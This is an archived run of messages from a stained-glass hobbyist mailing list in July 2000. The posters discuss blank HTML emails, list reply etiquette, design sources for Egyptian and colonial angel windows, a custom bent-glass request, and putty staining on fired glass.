program does not read HTML, the message is displayed as plain text with =
an HTML=20
file attached. </P>
<H5 class=3Dproch>To use HTML formatting on all outgoing messages</H5>
<OL>
  <LI>In the main window, click the <B>Tools</B> menu, click =
<B>Options</B>, and=20
  then click the <B>Send</B> tab.=20
  <P></P>
  <LI>In the <B>Mail Sending Format</B> or <B>News Sending Format</B> =
sections,=20
  click <B>HTML</B>.=20
  <P></P></LI></OL>
<H5 class=3Dproch>To use HTML formatting on an individual message</H5>
<P>
<UL>
  <LI>In an e-mail message window, make sure HTML formatting is turned =
on by=20
  clicking the <B>Format</B> menu. HTML formatting is turned on when a =
black dot=20
  appears by Rich Text (HTML). </LI></UL>
<H5 class=3Dnote>Notes</H5>
<UL>
  <LI>To edit the HTML source tags, click the <B>View</B> menu and make =
sure a=20
  check mark appears next to <B>Source Edit</B>. Then, select the =
<B>Source</B>=20
  tab and start editing.=20
  <P></P>
  <LI>To set up Outlook Express so that your message replies are sent in =
a=20
  format that the originator's mail or newsreading program can read, in =
the main=20
  window, click the <B>Tools</B> menu, click <B>Options</B>, and then =
click the=20
  <B>Send</B> tab. Check the <B>Reply to messages using the format in =
which they=20
  were sent</B> check box.=20
  <P></P></LI></UL>
<P>&nbsp;</P>
<P>&nbsp;</P></FONT></DIV></BODY></HTML>

------=_NextPart_000_00C4_01BFE71D.59FEC580--

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From owner-glass Thu Jul  6 08:33:40 2000
Return-Path: <owner-glass>
Received: by daver.bungi.com
	via smail with stdio
	id <m13ADa3-0000PVa@daver.bungi.com>
	for rglass-42; Thu, 6 Jul 2000 08:28:47 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #311 built 2000-Jul-5)
X-Path: jps.net!bitsie
From: Ken & Geneva Pepper <bitsie@jps.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Blank Emails
Date: Wed, 04 Nov 1998 11:38:08 -0800
Message-ID: <1998Nov4.3388.0>
References: <<1998Nov4.21838.0>>
Precedence: bulk

LOLOL  Let me rephrase that!  It's been a long days-night!

Put the blank email or emails in a folder in your mail program then open
the folder in explorer or winfile with notepad or wordpad and you will
be able to read them.  I use noetab light, a free utility I would not be
without (it's an html editor too ;-)) but I imagine windows notepad
would work as well.

Also if you click doc source in your mail prog it will bring up the text
on another page - just as if it were htmls!  It is the senders settings
that are responsible.  Till this sub came up I too was tossing them -
thinking the server was stripping them - perhaps because of attachments
or jpgs!  Live and learn....

Geneva


Ken & Geneva Pepper wrote:
> 
> Just copy the blank email to a notepad and you will be able to read it.
> 
> Geneva
> 
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

----
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From owner-glass Thu Jul  6 08:46:37 2000
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X-Path: compuserve.com!Ensembles
From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>, Dani Greer <greerstudios@cs.com>,
Content-Type: text/plain;
Subject: Bent glass for Cabinet
Date: Thu, 6 Jul 2000 11:31:22 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi all.  I've had a request from one of my cabinet makers.  They are
looking for someone to custom-make some bent glass for a corner
cabinet unit they are building.  This is probably going to require
someone who has a large coffin-style kiln in order to do this
custom job.  The approximate size of the glass is 27 1/2" long (tall)
by ?13" wide, with a 12" inside radius.

If anyone is interested in picking up this job, you can contact Cindy
from Empire Kitchens & Bath at her home email address:
cloumill@aol.com

Thanks...

Christie A. Wood - Art Glass Ensembles
North Wales, PA USA
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From owner-glass Thu Jul  6 09:05:17 2000
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X-Path: jps.net!bitsie
From: Ken & Geneva Pepper <bitsie@jps.net>
To: Bev Kelly <till8er@alimac.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Gatewayed mail message
Date: Wed, 04 Nov 1998 11:55:41 -0800
Message-ID: <1998Nov4.35541.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

The people who are sending these messages (including your last message
Bev) are not using html formatting - you're sending html with out the
code to bring it out so it can only be seen in htmls (document source)
My tiny pc reads html just fine but your message didn't come thru
because there WAS NO CODE!!!  Am not familiar with 98 so don't know if
you program is off (tho you are not the only sender of blank emails) or
the settings are just off.  If you are using html there has to be code
to make it visible!  A little research is called for...  I think some
people are just having FUN here - lol.

Geneva



Bev Kelly wrote:

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From owner-glass Thu Jul  6 09:17:12 2000
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X-Path: jps.net!bitsie
From: Ken & Geneva Pepper <bitsie@jps.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Blank Emails 
Date: Wed, 04 Nov 1998 12:09:12 -0800
Message-ID: <1998Nov4.4912.0>
Precedence: bulk

The people who are sending these messages (including your last message
Bev) are not using html formatting - you're sending html with out the
code to bring it out so it can only be seen in htmls (document source)
My tiny pc reads html just fine but your message didn't come thru
because there WAS NO CODE!!!  Am not familiar with 98 so don't know if
you program is off (tho you are not the only sender of blank emails) or
the settings are just off.  If you are using html there has to be code
to make it visible!  A little research is called for...  I think some
people are just having FUN here - lol.

Geneva



Bev Kelly wrote:

----
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From owner-glass Thu Jul  6 10:04:39 2000
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X-Path: jps.net!bitsie
From: Ken & Geneva Pepper <bitsie@jps.net>
To: Bev Kelly <till8er@alimac.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Gatewayed mail message
Date: Wed, 04 Nov 1998 12:46:31 -0800
Message-ID: <1998Nov4.44631.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

oooops Bev

Should have scrolled down more before opening my big mouth - The second
half of your message in MIME 'is' coded.  Don't understand why it comes
thru as a blank email tho and can only be read in doc source or off
line.  I've gotten emails before that were colorful html!  Also many
emails with mime that did not come thru as blanks - ahhhhh, but they did
not come thru as html either.  Guess my prog does not read MIME - but
some other html????  But why do yours come thru as blanks???  Guess it
is a quirk with win98 - wouldn't surprise me one bit!  There is no
regular text with mime attachment tho... odd...

Will zipper my mouth for now - guess folks are getting pretty burned out
on this topic!  Gotta run and investigate this curiosity!

Back to Glass!
Geneva


Bev Kelly wrote:

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From owner-glass Thu Jul  6 12:01:27 2000
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To: glass@bungi.com
Content-Type: multipart/mixed; boundary="part1_14.5effd81.26962fd2_boundary"
Subject: Fwd: Bent glass for Cabinet
Date: Thu, 6 Jul 2000 14:54:10 EDT
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--part1_14.5effd81.26962fd2_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

RE:   Curved glass Hapcroft Stained Glass  816-363-5810

--part1_14.5effd81.26962fd2_boundary
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>, Dani Greer <greerstudios@cs.com>
Content-Type: text/plain;
Subject: Bent glass for Cabinet
Date: Thu, 6 Jul 2000 11:31:22 -0400
Message-ID: <1970Jan1.000.0>
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Content-Type: text/plain; charset="US-ASCII"
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Hi all.  I've had a request from one of my cabinet makers.  They are
looking for someone to custom-make some bent glass for a corner
cabinet unit they are building.  This is probably going to require
someone who has a large coffin-style kiln in order to do this
custom job.  The approximate size of the glass is 27 1/2" long (tall)
by ?13" wide, with a 12" inside radius.

If anyone is interested in picking up this job, you can contact Cindy
from Empire Kitchens & Bath at her home email address:
cloumill@aol.com

Thanks...

Christie A. Wood - Art Glass Ensembles
North Wales, PA USA
----
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--part1_14.5effd81.26962fd2_boundary--
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From owner-glass Thu Jul  6 14:32:37 2000
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	for rglass-42; Thu, 6 Jul 2000 14:21:24 -0700 (PDT)
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X-Path: gjr
From: gjr@bungi.com (Glenna Rand)
To: glass@bungi.com
Subject: Aloha
Date: Thu, 6 Jul 2000 14:19:35 PDT
Message-ID: <m13AJ3X-00009HC@daver.bungi.com>
Precedence: bulk

Aloha all Bungians,

This glass list is now officially brought to you from Maui, HI.
The move has been successful but I'm still awaiting the container
which is filled with my glass supplies.
Hope you are all having a great summer!


-- 
Glenna Rand
gjr@bungi.com
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From owner-glass Thu Jul  6 17:33:23 2000
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	for rglass-42; Thu, 6 Jul 2000 17:29:17 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #313 built 2000-Jul-6)
X-Path: home.com!cecnralph
From: Cecily and Ralph Wood <cecnralph@home.com>
To: Ken & Geneva Pepper <bitsie@jps.net>,
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: Gatewayed mail message
Date: Thu, 06 Jul 2000 20:29:08 -0400
Message-ID: <1970Jan1.000.0>
References: <<1998Nov4.44631.0>>
Organization: Grendel Studios
Precedence: bulk

Not just DOS or Windows - happens to me to.  I'm using a Mac with the
latest Netscape.  Sometimes happens when I edit a previous email, even tho
I've told it to send in both plain text and html. - Cec

Ken & Geneva Pepper wrote:

> oooops Bev
>
> Should have scrolled down more before opening my big mouth - The second
> half of your message in MIME 'is' coded.  Don't understand why it comes
> thru as a blank email tho and can only be read in doc source or off
> line.  I've gotten emails before that were colorful html!  Also many
> emails with mime that did not come thru as blanks - ahhhhh, but they did
> not come thru as html either.  Guess my prog does not read MIME - but
> some other html????  But why do yours come thru as blanks???  Guess it
> is a quirk with win98 - wouldn't surprise me one bit!  There is no
> regular text with mime attachment tho... odd...
>
> Will zipper my mouth for now - guess folks are getting pretty burned out
> on this topic!  Gotta run and investigate this curiosity!
>
> Back to Glass!
> Geneva
>
> Bev Kelly wrote:
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Fri Jul  7 00:40:29 2000
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	for rglass-42; Fri, 7 Jul 2000 00:15:52 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #313 built 2000-Jul-6)
X-Path: teleport.com!weaver51
From: "Howard" <weaver51@teleport.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: getting old
Date: Thu, 6 Jul 2000 10:39:21 -0700
Message-ID: <1970Jan1.000.0>
Organization: weaver51@teleport.com
Precedence: bulk

It is good to get information on why and how and so forth,

BUT..............It would be EVEN better if the posts were directed to those
who have had trouble or are interested, rather than the list as a whole! We
have discussed (in great depth) about directing the posts to specific users.

Unfortunately, mine do NOT come through as blank posts!

Cheerfully, Howard


weaver51@teleport.com
Elaine and Howard
best lamps on the "net":
http://www.teleport.com/~cbs/howard

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From owner-glass Fri Jul  7 08:02:27 2000
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X-Path: mtcon.net!shigbee
From: "Shari" <shigbee@mtcon.net>
To: "Bungi" <glass@bungi.com>
Subject: Re: posting replies to the list; Was: getting old
Date: Fri, 7 Jul 2000 08:49:06 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Sorry but I disagree. There doesn't seem to be any value in having a glass
list where all you read are the questions. I figure I can always learn some
new tricks and pick up a neat new tip here and there, but that is impossible
when the replies are sent to the questioner only.

If this list is meant to post just questions, then maybe it should be a
bulletin board instead of a list. I've been very sorry to see the list take
this direction over the past several months--it really has lost almost all
its value, in my opinion. We've certainly cut out any non-glass chatter, but
have also cut out all glass-related info.

If anyone cared or wondered what my vote would be, I'd vote to change it
back to all replies go to the list. JMHO...

Shari in SLC



> It is good to get information on why and how and so forth,
>
> BUT..............It would be EVEN better if the posts were directed to
those
> who have had trouble or are interested, rather than the list as a whole!
We
> have discussed (in great depth) about directing the posts to specific
users.
>



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From owner-glass Fri Jul  7 09:00:54 2000
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X-Path: thebeach.mv.com!Nancy
From: "Nancy Mullins" <Nancy@thebeach.mv.com>
To: "Shari" <shigbee@mtcon.net>,
Content-Type: text/plain;
Subject: Re: posting replies to the list; Was: getting old
Date: Fri, 7 Jul 2000 11:25:50 -0400
Message-ID: <1970Jan1.000.0>
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I am fairly new to this list and to stained glass and I would like to share
my view.  Mind you it is MY view.  I joined this list so that I could learn
from other folks who, in most cases have much more experience than I.  It
doesn't do me any good to just read questions and not have the luxury of
reading the responses.  There is one key on this keyboard that I cherish....
the DELETE key.  It is one thing I do have control over in this day and age
and that is what I read or don't read.  Folks, if you don't care to read the
responses then hit the delete key!  It is that simple and it doesn't take
that much of your time.  To all of you who respond to the "whole" list.....
I say a BIG THANKS!  I have learned so much from all of your discussions and
experience.  If the format is to be just questions then I guess I will say
adios!
Just my humble opinion folks.
Nancy Mullins
----- Original Message -----
From: "Shari" <shigbee@mtcon.net>
To: "Bungi" <glass@bungi.com>
Sent: Friday, July 07, 2000 10:49 AM
Subject: Re: posting replies to the list; Was: getting old


> Sorry but I disagree. There doesn't seem to be any value in having a glass
> list where all you read are the questions. I figure I can always learn
some
> new tricks and pick up a neat new tip here and there, but that is
impossible
> when the replies are sent to the questioner only.
>
> If this list is meant to post just questions, then maybe it should be a
> bulletin board instead of a list. I've been very sorry to see the list
take
> this direction over the past several months--it really has lost almost all
> its value, in my opinion. We've certainly cut out any non-glass chatter,
but
> have also cut out all glass-related info.
>
> If anyone cared or wondered what my vote would be, I'd vote to change it
> back to all replies go to the list. JMHO...
>
> Shari in SLC
>


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From owner-glass Fri Jul  7 09:04:49 2000
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From: "studio@stainedglass.co.uk" <studio@stainedglass.co.uk>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: Re: posting replies to the list; Was: getting old
Date: Fri, 7 Jul 2000 16:48:30 +0100
Message-ID: <1970Jan1.000.0>
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At 08:49 07/07/00 -0600, Shari wrote:
>Sorry but I disagree. There doesn't seem to be any value in having a glass
>list where all you read are the questions. I figure I can always learn some
>new tricks and pick up a neat new tip here and there, but that is impossible
>when the replies are sent to the questioner only.

But the suggestion was made about NON glass messages aimed at specific
people but addressed to the list in general.  Particularly as several of
them had both plain text and HTML repeats of their messages!!

Elizabeth in Bournemouth
Bournemouth Stained Glass
http://www.stainedglass.co.uk
UK Charter Member RAGS

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From owner-glass Fri Jul  7 09:30:35 2000
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From: Ken & Geneva Pepper <bitsie@jps.net>
To: Shari <shigbee@mtcon.net>
Content-Type: text/plain; charset=us-ascii
Subject: Re: posting replies to the list; Was: getting old
Date: Wed, 04 Nov 1998 08:08:57 -0800
Message-ID: <1998Nov4.0857.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

I agree with you 100% Shari.  This is not the same list I signed up with
almost 2 years ago!  Back then it was my favorite list - and because of
squabbles and rigid pettiness many of the best contributors have flown
the coop.  I used to love all the fun and banter and free spiritness of
the participants, because along with that went tons of great glass info
- both aspects have faded away!

True, I am a listener (lurker) and not usually a contributor - and
perhaps I don't have a right to kick - but I, like many I suspect, have
rather severe time limitations and really not much to contribute - as I
am still learning - I will get involved with glass one day when time
permits.  In the meantime I greatly appreciate the learning process and
read off-line and am usually way behind in reading.  The lightness and
frivolity of "the list that once was" made the learning process fun and
a real pleasure.  I was down for 6mos and came back to an entirely
different list........ What ever happened to Patrick and his glass tutu?
What about Elizabeth from the UK and her side-kick Toby? LOLOLOL
Is the witch doctor gone as well??  There were many others..... The
great glass info these memorable and often humorous characters imparted
(as well as the spontaneous side trips into OT) was priceless.  
Spontenaiety
was the key word and deed - Rigidity will stifle ANYTHING!

My 2 pesos
Geneva

Shari wrote:
> 
> Sorry but I disagree. There doesn't seem to be any value in having a glass
> list where all you read are the questions. I figure I can always learn some
> new tricks and pick up a neat new tip here and there, but that is impossible
> when the replies are sent to the questioner only.
> 
> If this list is meant to post just questions, then maybe it should be a
> bulletin board instead of a list. I've been very sorry to see the list take
> this direction over the past several months--it really has lost almost all
> its value, in my opinion. We've certainly cut out any non-glass chatter, but
> have also cut out all glass-related info.
> 
> If anyone cared or wondered what my vote would be, I'd vote to change it
> back to all replies go to the list. JMHO...
> 
> Shari in SLC
> 
> > It is good to get information on why and how and so forth,
> >
> > BUT..............It would be EVEN better if the posts were directed to
> those
> > who have had trouble or are interested, rather than the list as a whole!
> We
> > have discussed (in great depth) about directing the posts to specific
> users.
> >
> 
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

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From owner-glass Fri Jul  7 10:00:32 2000
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X-Path: voyager.net!glasscat
From: "Carolyn" <glasscat@voyager.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Egyptian pattern
Date: Fri, 7 Jul 2000 12:58:12 -0400
Message-ID: <1970Jan1.000.0>
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Hi Bungians:
There were a few people a while back who were interested in Egyptian
patterns. If any of you are still interested, I've found a really nice one
of "King Tut".  Let me know who you are again, and I will be glad to scan
and send it to you.
Carolyn
glasscat@voyager.net

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From owner-glass Fri Jul  7 11:02:00 2000
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From: "Kaye Sodt" <kaye@GSA-ORSP.CROWN.NWU.EDU>
To: glass@bungi.com
Content-Type: text/plain; charset=US-ASCII
Subject: Re: posting replies to the list
Date: Fri, 7 Jul 2000 12:10:57 CST 6CDT
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Couldn't have said it better myself, Geneva (and Shari)!  ;- )  I agree 
completely.  Elisabeth, Patrick, Sparks, Blake--and so many 
others.  I realize it's impossible to please all the people all the 
time, but it's very sad that the almost all of the "fun" is gone.

Kaye   
--------------------------------
From:           	Ken & Geneva Pepper <bitsie@jps.net>

I agree with you 100% Shari.  This is not the same list I signed up with
almost 2 years ago!  Back then it was my favorite list - and because of
squabbles and rigid pettiness many of the best contributors have flown
the coop. 
----
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From owner-glass Fri Jul  7 11:07:38 2000
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From: "Peggy W. Johnsen" <edupjohn@slonet.org>
To: Glenna Rand <gjr@bungi.com>
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: Re: Aloha
Date: Fri, 7 Jul 2000 10:02:52 -0700 (PDT)
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Aloha Glenna:  What have I missed to suddenly read that you are now
residing in Hawaii?  Obviously you have moved recently but I guess I
wasn't aware that you were planning to do so.  Would love to hear more
about where you are and what prompted the move.  I am one of the few who
has not been to Hawaii but will hopefully do so in the next year or so.
Peggy

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From owner-glass Fri Jul  7 11:21:44 2000
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Carolyn <glasscat@voyager.net>
Subject: Re: Egyptian pattern
Date: Fri, 7 Jul 2000 18:59:17 +0100
Message-ID: <1970Jan1.000.0>
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There is a really good source of images available from the British
Museum called something like 5000 years of Ornament.  It has a wealth of
images which can be adapted for glass.  A lot of them are Egyptian.

Does this suit all those who want messages returned to all?  ;-)


In message <1970Jan1.000.0@?>, Carolyn <glasscat@voyager.net> writes
>Hi Bungians:
>There were a few people a while back who were interested in Egyptian
>patterns. If any of you are still interested, I've found a really nice one
>of "King Tut".  Let me know who you are again, and I will be glad to scan
>and send it to you.
>Carolyn
>glasscat@voyager.net
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Fri Jul  7 12:38:20 2000
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From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Kaye Sodt <kaye@GSA-ORSP.CROWN.NWU.EDU>
Subject: Re: posting replies to the list
Date: Fri, 7 Jul 2000 20:33:31 +0100
Message-ID: <1970Jan1.000.0>
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I guess I am one of the party-poopers.  I find the glass related posts
fun.  Not the social stuff.

steve 

 In message <1970Jan1.000.0@?>, Kaye Sodt <kaye@GSA-ORSP.CROWN.NWU.EDU>
writes
>Couldn't have said it better myself, Geneva (and Shari)!  ;- )  I agree 
>completely.  Elisabeth, Patrick, Sparks, Blake--and so many 
>others.  I realize it's impossible to please all the people all the 
>time, but it's very sad that the almost all of the "fun" is gone.
>
>Kaye   
>--------------------------------
>From:                  Ken & Geneva Pepper <bitsie@jps.net>
>
>I agree with you 100% Shari.  This is not the same list I signed up with
>almost 2 years ago!  Back then it was my favorite list - and because of
>squabbles and rigid pettiness many of the best contributors have flown
>the coop. 
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Fri Jul  7 13:00:53 2000
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From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Awbaxter@aol.com
Subject: Re: glass after firing
Date: Fri, 7 Jul 2000 20:56:23 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
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Ann
        There are of course, a number of reasons for your experience.
Some of them I know about, but there must be many others that I do not.

        Often the cement marks the painted side of the glass, when the
paint has been fired only to a matt finish.  If fired to a shiny finish,
the cement does not mark the surface. With a matt finish, the cement
sticks to the glass much more easily than unpainted or shiny finished
glass.  In any case leaving the cement on the glass for any length of
time will result in a stain at the edge of the cement "line".  This is
the reason for finishing with whiting or chalk to firm up the cement
before leaving it for the evening.

        Yes, repeated firings at a slightly high temperature leads to
the picking up of marks from the kiln shelf.  If these are not cleaned
out really well, there is a residue left that attracts marks.  Even if
cleaned out really well, the pits will be difficult to clean of the
linseed oil markings.  The firings do not cause any changes in the
hardness or structure of the glass, as the glass remains chemically the
same. 

The usual scientific method of determining what has happened is to
change only one thing at a time.  So you need to think about what
thing(s) were different this time as opposed to other times.  Is the
glass different? Kiln temperatures still accurate? different paints?
Etc.

I hope some of this might help you start your search.

Steve


In message <1970Jan1.000.0@?>, Awbaxter@aol.com writes
>I have a question.  After painting, firing and leading a glass panel 
>together, the putty started to "stain" the glass while I was brushing it in 
>... it took quite a bit of cleaning to get the dark swipe marks off the 
>glass, especially on the back, which was the side down on the kiln tray.  
>Does anyone know if repeated firings will change the hardness of the glass or 
>cause the structure of the glass to change?  Is there any other reason the 
>glass would absorb a "stain" from the putty?  
>
>I use a mix of linseed oil, turp, whiting and lamp black to make my putty, 
>and I've never had this happen with any leaded panel before....
>
>Thanks so much for any input..
>Ann
>----
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-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Fri Jul  7 14:31:50 2000
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From: Family Account <shad@mail2.nai.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Colonial angels
Date: Fri, 07 Jul 2000 17:08:40 -0400
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I have been asked to design an angel for a 1750's colonial.  I'd like to
do something sort of in period...but, you know, no images come to mind.
When I think of 1750's churches in New England, I don't see angels, but
open spaces with plain windows and steeples...no angels.  Gravestones
have this stylized death's head on them.  I've been to our small library
to do some research but to no avail (lots of pictures of those plain but
lovely churches, though).  Anyone have any thoughts?  There is, of
course, the art of Europe from that period.  And I am trying to reach
the lady who wants this to pick her brain a bit more.

Meanwhile, I've been designing and making suncatchers to get ahead for
the fall.  And I have some gifts to make, while I have the time.  (I did
a design of my niece's kitten, for example).

Dorothy

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From owner-glass Fri Jul  7 14:34:02 2000
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X-Path: pop3.nildram.co.uk!glass
From: "Toby" <toby@northlights.co.uk>
To: Ken & Geneva Pepper <bitsie@jps.net>
Content-Type: text/plain; charset=US-ASCII
Subject: Re: posting replies to the list; Was: getting old
Date: Fri, 7 Jul 2000 22:03:46 +0100
Message-ID: <200007072020.e67KKqa25801@mercury.nildram.co.uk>
Precedence: bulk

Hey Honey! And EVERYBODY!!

The Viking Elisabeth 'n Toby are still VERY much alive!!!
We have had to resort to lurkerdom in the last 8-9 months.
It's also been exceedingly hard work bringing up young MERIC, 
Godson of about 700- 800 Americans, and great nephew of Toby 
Tobias.

Also these last 8 months, Elisabeth has been heavily involved in 
IGGA matters.
Don't worry.... I;ll be back to haunt you all!

Elisiabeth 'n Toby in UK


I agree with you 100% Shari.  This is not the same list I signed up with
almost 2 years ago!  Back then it was my favorite list - and because of
squabbles and rigid pettiness many of the best contributors have flown
the coop.  I used to love all the fun and banter and free spiritness of
the participants, because along with that went tons of great glass info
- both aspects have faded away!

True, I am a listener (lurker) and not usually a contributor - and
perhaps I don't have a right to kick - but I, like many I suspect, have
rather severe time limitations and really not much to contribute - as I
am still learning - I will get involved with glass one day when time
permits.  In the meantime I greatly appreciate the learning process and
read off-line and am usually way behind in reading.  The lightness and
frivolity of "the list that once was" made the learning process fun and
a real pleasure.  I was down for 6mos and came back to an entirely
different list........ What ever happened to Patrick and his glass tutu?
What about Elizabeth from the UK and her side-kick Toby? LOLOLOL
Is the witch doctor gone as well??  There were many others..... The
great glass info these memorable and often humorous characters imparted
(as well as the spontaneous side trips into OT) was priceless.  
Spontenaiety
was the key word and deed - Rigidity will stifle ANYTHING!

My 2 pesos
Geneva

Shari wrote:
> 
> Sorry but I disagree. There doesn't seem to be any value in having a glass
> list where all you read are the questions. I figure I can always learn some
> new tricks and pick up a neat new tip here and there, but that is impossible
> when the replies are sent to the questioner only.
> 
> If this list is meant to post just questions, then maybe it should be a
> bulletin board instead of a list. I've been very sorry to see the list take
> this direction over the past several months--it really has lost almost all
> its value, in my opinion. We've certainly cut out any non-glass chatter, but
> have also cut out all glass-related info.
> 
> If anyone cared or wondered what my vote would be, I'd vote to change it
> back to all replies go to the list. JMHO...
> 
> Shari in SLC
> 
> > It is good to get information on why and how and so forth,
> >
> > BUT..............It would be EVEN better if the posts were directed to
> those
> > who have had trouble or are interested, rather than the list as a whole!
> We
> > have discussed (in great depth) about directing the posts to specific
> users.
> >
> 
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

----
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----
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North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
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From owner-glass Fri Jul  7 14:48:43 2000
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X-Path: home.com!cecnralph
From: Cecily and Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: posting replies to the list
Date: Fri, 07 Jul 2000 17:12:30 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: Grendel Studios
Precedence: bulk

Actually, I think what sparked this was another mention of the blank
messages which some of us get, and some of us send - some unknowingly and
constantly, and others inadvertantly and only occasionally.

I wonder if it would be possible to have a FAQ on the web at
www.bungi.com/glass?  There are some questions and observations that come up
again and again as new members join.  One would be what the sender has to do
and not do, settings in the various browsers, and on the various platforms,
to avoid sending blank messages.  Another might be a bibliography that gives
references to books and web sites, articles, on setting up (building) your
own workshop.  Yet another could be for resources relating to starting,
maintaining a glass business.  Still another could be for basic knowledge on
restorations.  Ideally, any of us could add to the entries.  Is this
possible without a whale of a lot of work? - Cec

Steve Richard wrote:

> I guess I am one of the party-poopers.  I find the glass related posts
> fun.  Not the social stuff.
>
> steve
>
>  In message <1970Jan1.000.0@?>, Kaye Sodt <kaye@GSA-ORSP.CROWN.NWU.EDU>
> writes
> >Couldn't have said it better myself, Geneva (and Shari)!  ;- )  I agree
> >completely.  Elisabeth, Patrick, Sparks, Blake--and so many
> >others.  I realize it's impossible to please all the people all the
> >time, but it's very sad that the almost all of the "fun" is gone.
> >
> >Kaye
> >--------------------------------
> >From:                  Ken & Geneva Pepper <bitsie@jps.net>
> >
> >I agree with you 100% Shari.  This is not the same list I signed up with
> >almost 2 years ago!  Back then it was my favorite list - and because of
> >squabbles and rigid pettiness many of the best contributors have flown
> >the coop.
> >----
> >For subscription changes, please mail to: glass-request@bungi.com
> >To send to the list,      please mail to: glass@bungi.com
> >Archives available at http://www.bungi.com/glass
>
> --
> Steve Richard
> Verrier Art Glass Ltd
> s.richard@verrier-scotland.demon.co.uk
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Fri Jul  7 14:49:06 2000
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X-Path: videon.wave.ca!dhendler
From: Darlene Hendler <dhendler@videon.wave.ca>
To: Kaye Sodt <kaye@GSA-ORSP.CROWN.NWU.EDU>
Content-Type: text/plain; charset=us-ascii
Subject: Re: posting replies to the list
Date: Fri, 07 Jul 2000 15:53:29 -0500
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I'm also a long time lurker who really misses the humor and banter that went
back and forth. Anyone know where these people have gone?
Darlene

Kaye Sodt wrote:

> Couldn't have said it better myself, Geneva (and Shari)!  ;- )  I agree
> completely.  Elisabeth, Patrick, Sparks, Blake--and so many
> others.  I realize it's impossible to please all the people all the
> time, but it's very sad that the almost all of the "fun" is gone.
>
> Kaye
> --------------------------------
> From:                   Ken & Geneva Pepper <bitsie@jps.net>
>
> I agree with you 100% Shari.  This is not the same list I signed up with
> almost 2 years ago!  Back then it was my favorite list - and because of
> squabbles and rigid pettiness many of the best contributors have flown
> the coop.
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

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From owner-glass Fri Jul  7 15:39:02 2000
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From: rrk <ezbongo2@pacbell.net>
To: Howard <weaver51@teleport.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: getting old
Date: Fri, 07 Jul 2000 15:02:14 -0700
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@mta1.snfc21.pbi.net>>
Precedence: bulk



Howard wrote:

> It is good to get information on why and how and so forth,
>
> BUT..............It would be EVEN better if the posts were directed to those
> who have had trouble or are interested, rather than the list as a whole! We
> have discussed (in great depth) about directing the posts to specific users.
>
> Unfortunately, mine do NOT come through as blank posts!

Opinions are like noses,
everybody's got one.

Sometimes the list is innundated
with baloney ... glass tutus, doggie
names, etc etc etc.  This is not
interesting or informative to me ...
and much of it is kind of clique'ish
which I despise.
I have not complained about it
and never will.
That which I don't like, I delete ...
and don't complain.  If things had gotten
TOO bad, I would have left ...
but not complained.

Other times things get a bit staid,
rigid.  Thats ok too.
Ebb and Flow.
The tide goes out,
and the tide comes in.

